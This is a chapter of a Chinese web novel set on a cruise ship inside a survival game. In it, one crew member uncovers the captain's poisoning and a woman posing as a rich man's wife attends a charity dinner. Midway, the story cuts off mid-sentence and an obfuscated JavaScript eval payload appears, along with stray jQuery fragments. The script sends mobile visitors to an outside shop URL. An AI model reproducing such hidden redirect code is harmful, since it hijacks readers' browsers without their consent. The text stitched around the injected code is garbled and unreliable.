“朽舵工,我来换班。”
“嗯好。”朽珞站起来,把舵手的位置让开,他穿着一身制服,半长的头发被扎在一侧,发带也跟着垂在一侧。
身边人走过他面前时,发带在手边飘了飘。
“船长呢?刚才还在我后面坐着。”
朽珞很自然地和来换班的舵手聊上了。
“船长说他有点不舒服,”换班的舵手检查着设施,指了指身后,“刘大副顶上。”
“嗯,我来。”刘大副披着船长的外套,没有穿上,坐到了船长的位置,冲朽珞摆手,“你去休息吧。”
“行。”
朽珞离开驾驶室后,走了员工通道,顺手拿了一盒船长提供给船员的感冒药、止痛药,径直敲开了船长的门。
咚咚。
“船长,听说你不舒服,是不是感冒了?我给你带了感冒药。”
“咳咳,放门外吧。”
声音从屋内隔着门传来,有些虚弱而苍老。
“我进来了。”
朽珞不管他说了什么,自顾自地推门进去,就见船长穿着睡衣躺在床上,满头白发,耳边还有耳麦,手在电脑上一刻不停地移动。
“朽珞,出去。”
船长又重复了一遍,但眼睛都没离开电脑。
朽珞无所畏惧,直接拿起水壶帮他烧水,又冲了感冒药,拿到船长面前:“船长,海上感冒,还是不能大意,要好好休息。”
“你们呀,咳咳,”船长摇了摇头,声音软了下来,没有责怪朽珞,“大副也担心我,咳咳咳,给我带了止咳药,你咳,咳咳,又带了感冒药,有你们这样一群手下……咳咳,真是幸运咯。”
朽珞挑了挑眉,把手中的感冒药递给他后,拿起床头柜上的另一个杯子:“我帮你洗了。”
“哎!咳咳咳!这孩子。”船长摇了摇头,手下的动作一顿,“这孩子……咳,性格如此特别,我怎么没印象。”
洗杯子的朽珞拿出了试毒纸卡牌,往杯子里残余的一点水中沾了沾,几秒后,试毒纸变黑,散发出了难闻的刺鼻味。
他挥了挥手,把试毒纸从窗外丢了出去,又用散了散味,才走出洗手间。
“船长,用了一下你的厕所,你不介意吧?”
朽珞的视线在船长的手、口、皮肤上扫过,手指有些皱,嘴唇是颜色沉淀的深褐色,皮肤上有轻微的老年斑,看起来一切正常。
“去去去。”船长冲朽珞挥手,那杯感冒药已经被他喝了。
“行,我走了。”
朽珞干脆利落地离开房间,但没有离开走廊,而是靠在走廊旁的墙上,把头上的帽子摘下来,在手上抛来抛去地把玩着。
不一会,一身水手服的风长眠上来了,手上同样带着感冒药之类的药品,朽珞勾了勾唇,把帽子丢了过去:“哟。”
风长眠神色淡淡的接过:“船长感冒了?”
“对,”朽珞拍了拍他的肩膀,靠近他一侧,低声道,“感冒后,又被下毒了。”
风长眠看了他一眼,点头:“我去看看。”
“喂,不信任我?”
风长眠把帽子丢回去给他,声音很淡:“没有,但我们现在,是你死我活的对手。”
说完,风长眠敲了敲门,果不其然被船长拒绝了,他的行为和朽珞一模一样,被拒绝了完全不在乎,直接推门进去。
船长:……
朽珞把手中的帽子一翻,重新戴在头上,回到了他的员工宿舍。
*
船下五楼甲板。
这艘游轮一共十二层,地图上写着,一至四楼是员工宿舍楼,五至八楼是普通乘客楼,九至十一楼是贵宾楼,十二楼是驾驶室员工楼。
五楼也有商场,但没有十一楼的繁华,仰头可以看见非常高的船顶,也可以看见高楼层的人俯身的影子。
“呼。”薄言呼出一口气,低下头,揉了揉脖子,“怎么现实里被贫富差距打击就算了,副本里还要被贫富差距打击啊。”
五楼的设计节俭很多,地图上引导的标识,也没有上面几层那么复杂,搞得像贵宾楼故意弄的很复杂,拖乘客脚步一样。
薄言走到了五楼最中心的位置坐下,开始观察路过的人。
作为乘客,步伐大多缓慢,以闲逛为主,而作为玩家,为了赢得胜利,在这群悠闲的乘客中,就会显得很忙。
“东张西望……”薄言锁定了一个小偷做派的人,坐着看了一会,发现他连续偷了三个人的手机,被偷的人都没发现。
“神偷?”
刚被薄言挂上神偷名号的小偷,下一秒就被服务员带着安保制服了。
“嗯,”薄言扫过他腰间,没有卡牌包,“一代神偷,就此陨落。”
她继续看着,五楼的服务员更少,非必要不出现:“嗯,难道全都去搞什么慈善晚宴了?”
薄言又坐了一会儿,眼睛都要看花了,也没有找到玩家,她啧了一声:“啧,看来守株待兔,我是不能了。”
她拍拍裙子站起身,觉得有些饿了,打算去吃点东西,结果没走几步,就被几个保镖拦住了。
“夫人,请和我们回去。”
薄言:?
“我正要回去。”
保镖们没说话,跟在了薄言身后,但凡薄言走偏,保镖们就会立刻提醒,并把她带回正路。
薄言:……贵妇人不好当。
薄言被半赶半就的,回到了十一楼的房间,她刚进去,保镖就在外面把门锁上了。
薄言:?!
“干什么?你们敢锁我?”
“抱歉夫人,这是老板的命令。”
薄言闻言,抬头看向对面的时钟,时针正好指向六点,从她出去到现在,正好三个小时。
薄言还没说什么,外面的保镖又发话了:“请夫人换一身漂亮的衣裙,陪老板参加慈善晚宴。”
“哦。”
薄言:抓我回来只是需要个女伴嘛。
“慈善晚宴有多少人参加?”
“夫人,除了十一楼的十七位贵宾和家属外,普通乘客可以通过买票入场,具体人数我们不知道。”
哦~买票入场。
薄言转身去换了刚进副本时的裙子,把头发在脑后编了辫子,又凑近了镜子,嘟嘴看口红状态。
“嗯……口红有点掉色了,”薄言从空白卡牌中拿出口红,顿了一下,又放了回去,冲外面说道,“我饿了,让厨房给我做点吃的来。”
“夫人请稍等。”
薄言把口红放回空白卡牌,打算
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17775400|206690||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
吃完饭再涂,在等待的过程中,她又开始想:“万一食物被感染了怎么办?”
“啧,还是吃自己的算了,我惜命。”
但薄言没有对外面的人说不吃了,只是在精致的食物送到后,从窗户上倒进了海里,又从空白卡牌里,拿了没大味道的食物吃了起来。
慈善晚宴当晚——
薄言见到了她素未谋面的魏姓丈夫,长得有些胖,模样不丑也不好看,就是普通长相。
“宝贝,来。”
他眼里带着欣赏,朝薄言伸出手,薄言冲他抛了个媚眼,没有伸手:“亲爱的,今晚的慈善晚宴主题是什么?”
“海洋保护。”他回答了薄言,手搭在了薄言腰间,薄言忍住了想拍掉他手的冲动,点头,“这样啊。”
“饿了吗?晚宴上有食物,鱼翅、海鲜粥。”
他带着薄言往餐区走,手还不老实的在她腰间揉,薄言走了几步,一把拍掉了他的手:“亲爱的,我怕痒。”
“啧,过来。”
薄言娇俏地瘪嘴,双手按在他手臂上:“注意形象亲爱的,你也不想被同阶级的人看见,你在慈善晚宴上这么……嗯?”
他被薄言说得脸色有些难看,朝地上啐了一口唾沫:“呸,你个娶回来的平民花瓶,还敢教我做事。”
薄言:翻白眼.jpg
“来,笑一个。”
忽然的声音从旁边传来,薄言侧头看过去,一个女生穿着风衣,手中拿着相机,正对着她。
咔嚓——
“哇~美爆了姐姐。”
她拿着相机走向薄言,结果被旁边的男人拦住了:“你TM谁啊?敢给我拍照?!”
“不好意思~”她吐了吐舌头,“我是摄影师,很喜欢拍照,而且我没有拍你。”
她戴着眼镜,很像活泼的学生,薄言看了一眼她的腰间,被风衣挡住的一点位置,有卡牌包腰带的颜色。
他刚才的声音有点大,很多人都看了过来,男人脸色更差了,扯过薄言就走:“走。”
薄言没有反抗,只是笑眯眯地看着追过来,跟在她身边,给她看照片的人。
拍得确实很好看,构图很绝,薄言穿得甜美,微微侧头,扬着下巴,在照片上展现的,就像是世界中心的焦点。
“确实拍得好。”
薄言给予了肯定,她很开心,不顾旁边男人的怒视,凑到薄言耳边:“姐姐是我的敌人,还是朋友?”
薄言挑眉,声音轻柔:“你呢?是我的敌人,还是朋友?”
“我希望和姐姐是朋友。”她扬起笑脸,“我去上厕所啦~”
薄言收回目光,转头就见她的便宜丈夫,怒气冲冲地看着她,又因为晚宴周围都是人,不敢发脾气。
“亲爱的~我去上厕所哟~”
薄言不容置疑的抽出了自己的手,对他挥了挥,身后跟着两个看守她的保镖,她也完全不在意。
还对保镖询问道:“厕所在哪呢?”
保镖:我们是来看守你的,不是来引路的。
“喂,说话啊。”
保镖:“……这边。”
薄言双手一抱,走在保镖后面,走得骄傲自信,慢悠悠拐进了厕所。
“哟~姐姐,这么快就来啦。”